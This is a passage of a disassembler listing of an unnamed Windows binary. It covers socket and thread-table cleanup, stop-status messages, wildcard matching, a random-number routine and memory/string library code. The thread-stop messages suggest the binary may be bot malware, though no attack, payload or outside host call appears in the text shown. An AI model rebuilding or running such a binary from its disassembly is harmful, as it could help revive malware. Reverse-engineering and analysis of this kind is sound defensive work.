		mov	ds:dword_43F50C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_41510D
		push	eax
		call	sub_414047
		pop	ecx


loc_41510D:				; CODE XREF: sub_4150B4+50j
		mov	[edi], ebx
		lea	edi, dword_43F514[esi]
		mov	byte ptr ds:dword_43F308[esi], bl


loc_41511B:				; CODE XREF: sub_4150B4+30j
		mov	ds:byte_43F520[esi], bl
		push	dword ptr [edi]
		call	ds:dword_43A410	; closesocket
		lea	esi, dword_43F518[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	ds:dword_43A410	; closesocket
		mov	[esi], ebx
		pop	edi


loc_41513C:				; CODE XREF: sub_4150B4+Dj
					; sub_4150B4+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4150B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_415142	proc near		; CODE XREF: sub_409DF9:loc_409E1Dp
					; seg000:0040C596p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43F308


loc_41514E:				; CODE XREF: sub_415142+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_41515F
		push	edi
		call	sub_4150B4
		test	eax, eax
		pop	ecx
		jz	short loc_41515F
		inc	ebx


loc_41515F:				; CODE XREF: sub_415142+Fj
					; sub_415142+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4687F8
		jl	short loc_41514E
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_415142	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415174	proc near		; CODE XREF: seg000:0040EB02p
					; seg000:0040EB70p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43F50C


loc_415188:				; CODE XREF: sub_415174+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4151AA
		test	edi, edi
		jle	short loc_41519C
		cmp	[esi], edi
		jz	short loc_41519C
		cmp	ebx, edi
		jnz	short loc_4151AA


loc_41519C:				; CODE XREF: sub_415174+1Ej
					; sub_415174+22j
		push	ebx
		call	sub_4150B4
		test	eax, eax
		pop	ecx
		jz	short loc_4151AA
		inc	[ebp+var_4]


loc_4151AA:				; CODE XREF: sub_415174+1Aj
					; sub_415174+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4689FC
		jl	short loc_415188
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415174	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151C1	proc near		; CODE XREF: sub_4071E3+Bp
					; seg000:00407287p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43F508


loc_4151C8:				; CODE XREF: sub_4151C1+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4151D1
		inc	eax


loc_4151D1:				; CODE XREF: sub_4151C1+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4689F8
		jl	short loc_4151C8
		retn
sub_4151C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151E0	proc near		; CODE XREF: seg000:00411F26p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43F508


loc_4151EA:				; CODE XREF: sub_4151E0+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_415203
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4689F8
		jl	short loc_4151EA
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415203:				; CODE XREF: sub_4151E0+10j
		mov	eax, edx
		pop	esi
		retn
sub_4151E0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415207	proc near		; CODE XREF: seg000:0040DE9Bp

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_415220
		push	[ebp+arg_1C]
		call	sub_415A3F
		pop	ecx


loc_415220:				; CODE XREF: sub_415207+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_415174
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41524C
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4154CD
		add	esp, 14h
		jmp	short loc_415266
; ---------------------------------------------------------------------------


loc_41524C:				; CODE XREF: sub_415207+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4154CD
		add	esp, 10h


loc_415266:				; CODE XREF: sub_415207+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_415286
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D32
		add	esp, 14h


loc_415286:				; CODE XREF: sub_415207+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B151
		pop	ecx
		leave
		retn
sub_415207	endp


; =============== S U B	R O U T	I N E =======================================



sub_415295	proc near		; CODE XREF: start+A2p
					; seg000:004014D4p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	ds:dword_43F51C[eax], ecx
		mov	ds:dword_43F508[eax], ecx
		mov	ds:dword_43F50C[eax], ecx
		mov	ds:dword_43F510[eax], ecx
		mov	ds:dword_43F514[eax], ecx
		mov	ds:dword_43F518[eax], ecx
		mov	byte ptr ds:dword_43F308[eax], cl
		mov	ds:byte_43F520[eax], cl
		retn
sub_415295	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152D2	proc near		; CODE XREF: seg000:00412A31p
					; sub_415400+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4152DC:				; CODE XREF: sub_4152D2+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_41533C
		cmp	eax, 1
		jnz	short loc_41533C
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_41533C
		cmp	cl, 2Ah
		jz	short loc_415323
		cmp	cl, 3Fh
		jz	short loc_415306
		cmp	cl, 5Bh
		jz	short loc_41530B
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_415306:				; CODE XREF: sub_4152D2+26j
		inc	[ebp+arg_4]
		jmp	short loc_415336
; ---------------------------------------------------------------------------


loc_41530B:				; CODE XREF: sub_4152D2+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415368
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415336
; ---------------------------------------------------------------------------


loc_415323:				; CODE XREF: sub_4152D2+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_415400
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_415336:				; CODE XREF: sub_4152D2+37j
					; sub_4152D2+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4152DC
; ---------------------------------------------------------------------------


loc_41533C:				; CODE XREF: sub_4152D2+Ej
					; sub_4152D2+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_41534C
		cmp	eax, 1
		jnz	short loc_415363
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_41533C
; ---------------------------------------------------------------------------


loc_41534C:				; CODE XREF: sub_4152D2+6Dj
		cmp	eax, 1
		jnz	short loc_415363
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_415363
		cmp	byte ptr [esi],	0
		jnz	short loc_415363
		push	1
		pop	eax
		jmp	short loc_415365
; ---------------------------------------------------------------------------


loc_415363:				; CODE XREF: sub_4152D2+72j
					; sub_4152D2+7Dj ...
		xor	eax, eax


loc_415365:				; CODE XREF: sub_4152D2+8Fj
		pop	esi
		pop	ebp
		retn
sub_4152D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415368	proc near		; CODE XREF: sub_4152D2+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_415389
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_415389:				; CODE XREF: sub_415368+19j
		push	ebx
		push	esi


loc_41538B:				; CODE XREF: sub_415368+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_415399
		cmp	[ebp+var_4], eax
		jnz	short loc_4153E5


loc_415399:				; CODE XREF: sub_415368+2Aj
		test	edi, edi
		jnz	short loc_4153DA
		cmp	bl, 2Dh
		jnz	short loc_4153CE
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4153CE
		cmp	al, 5Dh
		jz	short loc_4153CE
		cmp	[ebp+var_4], edi
		jnz	short loc_4153CE
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4153DA
		cmp	bl, al
		jg	short loc_4153DA
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4153DA
; ---------------------------------------------------------------------------


loc_4153CE:				; CODE XREF: sub_415368+38j
					; sub_415368+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4153DA
		push	1
		pop	edi


loc_4153DA:				; CODE XREF: sub_415368+33j
					; sub_415368+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_41538B
; ---------------------------------------------------------------------------


loc_4153E5:				; CODE XREF: sub_415368+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_4153F2
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_4153F2:				; CODE XREF: sub_415368+82j
		cmp	edi, eax
		jnz	short loc_4153FB
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_4153FB:				; CODE XREF: sub_415368+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_415368	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415400	proc near		; CODE XREF: sub_4152D2+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_41541C:				; CODE XREF: sub_415400+3Aj
		cmp	[eax], bl
		jz	short loc_41543C
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_415431
		cmp	cl, 2Ah
		jnz	short loc_41543C
		cmp	cl, 3Fh
		jnz	short loc_415434


loc_415431:				; CODE XREF: sub_415400+25j
		inc	eax
		mov	[edi], eax


loc_415434:				; CODE XREF: sub_415400+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_41541C
; ---------------------------------------------------------------------------


loc_41543C:				; CODE XREF: sub_415400+1Ej
					; sub_415400+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_415447
		inc	dword ptr [esi]
		jmp	short loc_41543C
; ---------------------------------------------------------------------------


loc_415447:				; CODE XREF: sub_415400+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_415468
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_415459
		xor	eax, eax
		jmp	short loc_4154C8
; ---------------------------------------------------------------------------


loc_415459:				; CODE XREF: sub_415400+53j
		cmp	cl, bl
		jnz	short loc_415468
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_415468
		push	1
		pop	eax
		jmp	short loc_4154C8
; ---------------------------------------------------------------------------


loc_415468:				; CODE XREF: sub_415400+4Dj
					; sub_415400+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4152D2
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4154B2


loc_415476:				; CODE XREF: sub_415400+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_41547A:				; CODE XREF: sub_415400+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_415492
		cmp	cl, 5Bh
		jz	short loc_415492
		cmp	dl, bl
		jz	short loc_415492
		inc	eax
		mov	[edi], eax
		jmp	short loc_41547A
; ---------------------------------------------------------------------------


loc_415492:				; CODE XREF: sub_415400+82j
					; sub_415400+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_4154A9
		push	eax
		push	dword ptr [esi]
		call	sub_4152D2
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4154AE
; ---------------------------------------------------------------------------


loc_4154A9:				; CODE XREF: sub_415400+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4154AE:				; CODE XREF: sub_415400+A7j
		cmp	eax, ebx
		jnz	short loc_415476


loc_4154B2:				; CODE XREF: sub_415400+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4154C5
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4154C5
		mov	[ebp+var_4], 1


loc_4154C5:				; CODE XREF: sub_415400+B6j
					; sub_415400+BCj
		mov	eax, [ebp+var_4]


loc_4154C8:				; CODE XREF: sub_415400+57j
					; sub_415400+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415400	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154CD	proc near		; CODE XREF: start+61p
					; seg000:004013BAp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_417D2C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41550D
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41551A
; ---------------------------------------------------------------------------


loc_41550D:				; CODE XREF: sub_4154CD+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C17
		pop	ecx
		pop	ecx


loc_41551A:				; CODE XREF: sub_4154CD+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4154CD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41551F	proc near		; CODE XREF: start+2Ep	sub_401BD6+46p	...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	ds:dword_437D08, eax
		retn
sub_41551F	endp


; =============== S U B	R O U T	I N E =======================================



sub_415529	proc near		; CODE XREF: seg000:0040117Dp
					; seg000:004011F1p ...
		mov	eax, ds:dword_437D08
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	ds:dword_437D08, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_415529	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415550	proc near		; CODE XREF: seg000:00401333p
					; seg000:0040194Fp ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4155A3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_415597
		neg	ecx
		and	ecx, 3
		jz	short loc_415579
		sub	edx, ecx


loc_415573:				; CODE XREF: sub_415550+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_415573


loc_415579:				; CODE XREF: sub_415550+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_415597
		rep stosd
		test	edx, edx
		jz	short loc_41559D


loc_415597:				; CODE XREF: sub_415550+18j
					; sub_415550+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_415597


loc_41559D:				; CODE XREF: sub_415550+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4155A3:				; CODE XREF: sub_415550+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415550	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155B0	proc near		; CODE XREF: seg000:004012DFp
					; seg000:004012F0p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4155D0
		cmp	edi, eax
		jb	loc_415748


loc_4155D0:				; CODE XREF: sub_4155B0+16j
		test	edi, 3
		jnz	short loc_4155EC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41560C
		rep movsd
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------


loc_4155EC:				; CODE XREF: sub_4155B0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_415604
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr ds:loc_41560C+4[eax*4]
; ---------------------------------------------------------------------------


loc_415604:				; CODE XREF: sub_4155B0+46j
		jmp	dword ptr ds:loc_415708[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41560C:				; CODE XREF: sub_4155B0+31j
					; sub_4155B0+8Ej ...
		jmp	ds:off_41568C[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415620
		dd offset loc_41564C
		dd offset loc_415670
; ---------------------------------------------------------------------------


loc_415620:				; DATA XREF: sub_4155B0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41560C
		rep movsd
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41564C:				; DATA XREF: sub_4155B0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41560C
		rep movsd
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415670:				; DATA XREF: sub_4155B0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41560C
		rep movsd
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41568C	dd offset loc_4156EF	; DATA XREF: sub_4155B0:loc_41560Cr
		dd offset loc_4156DC
		dd offset loc_4156D4
		dd offset loc_4156CC
		dd offset loc_4156C4
		dd offset loc_4156BC
		dd offset loc_4156B4
		dd offset loc_4156AC
; ---------------------------------------------------------------------------


loc_4156AC:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4156B4:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4156BC:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4156C4:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4156CC:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4156D4:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4156DC:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4156EF:				; CODE XREF: sub_4155B0:loc_41560Cj
					; DATA XREF: sub_4155B0:off_41568Co
		jmp	ds:off_4156F8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4156F8	dd offset loc_415708	; DATA XREF: sub_4155B0+35r
					; sub_4155B0+92r ...
		dd offset loc_415710
		dd offset loc_41571C
		dd offset loc_415730
; ---------------------------------------------------------------------------


loc_415708:				; CODE XREF: sub_4155B0+35j
					; sub_4155B0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415710:				; CODE XREF: sub_4155B0+35j
					; sub_4155B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41571C:				; CODE XREF: sub_4155B0+35j
					; sub_4155B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415730:				; CODE XREF: sub_4155B0+35j
					; sub_4155B0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415748:				; CODE XREF: sub_4155B0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41577C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_415770
		std
		rep movsd
		cld
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415770:				; CODE XREF: sub_4155B0+1B1j
					; sub_4155B0+208j ...
		neg	ecx
		jmp	ds:off_415840[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41577C:				; CODE XREF: sub_4155B0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_415794
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr ds:loc_415794+4[eax*4]
; ---------------------------------------------------------------------------


loc_415794:				; CODE XREF: sub_4155B0+1D6j
					; DATA XREF: sub_4155B0+1DDr
		jmp	ds:off_415890[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		test	al, 57h
		inc	ecx
		add	al, cl
		push	edi
		inc	ecx
		add	al, dh
		push	edi
		inc	ecx
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_415770
		std
		rep movsd
		cld
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_415770
		std
		rep movsd
		cld
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_415770
		std
		rep movsd
		cld
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415844
		dd offset loc_41584C
		dd offset loc_415854
		dd offset loc_41585C
		dd offset loc_415864
		dd offset loc_41586C
		dd offset loc_415874
off_415840	dd offset loc_415887	; DATA XREF: sub_4155B0+1C2r
; ---------------------------------------------------------------------------


loc_415844:				; DATA XREF: sub_4155B0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41584C:				; DATA XREF: sub_4155B0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_415854:				; DATA XREF: sub_4155B0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41585C:				; DATA XREF: sub_4155B0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_415864:				; DATA XREF: sub_4155B0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41586C:				; DATA XREF: sub_4155B0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_415874:				; DATA XREF: sub_4155B0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_415887:				; CODE XREF: sub_4155B0+1C2j
					; DATA XREF: sub_4155B0:off_415840o
		jmp	ds:off_415890[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_415890	dd offset loc_4158A0	; DATA XREF: sub_4155B0+1B7r
					; sub_4155B0:loc_415794r ...
		dd offset loc_4158A8
		dd offset loc_4158B8
		dd offset loc_4158CC
; ---------------------------------------------------------------------------


loc_4158A0:				; CODE XREF: sub_4155B0+1B7j
					; sub_4155B0:loc_415794j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158A8:				; CODE XREF: sub_4155B0+1B7j
					; sub_4155B0:loc_415794j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158B8:				; CODE XREF: sub_4155B0+1B7j
					; sub_4155B0:loc_415794j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158CC:				; CODE XREF: sub_4155B0+1B7j
					; sub_4155B0:loc_415794j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_4155B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4158F0	proc near		; CODE XREF: seg000:004011AEp
					; seg000:004011CAp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41593C


loc_415900:				; CODE XREF: sub_4158F0+3Cj
					; sub_4158F0+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_415934
		or	al, al
		jz	short loc_415930
		cmp	ah, [ecx+1]
		jnz	short loc_415934
		or	ah, ah
		jz	short loc_415930
		shr	eax, 10h
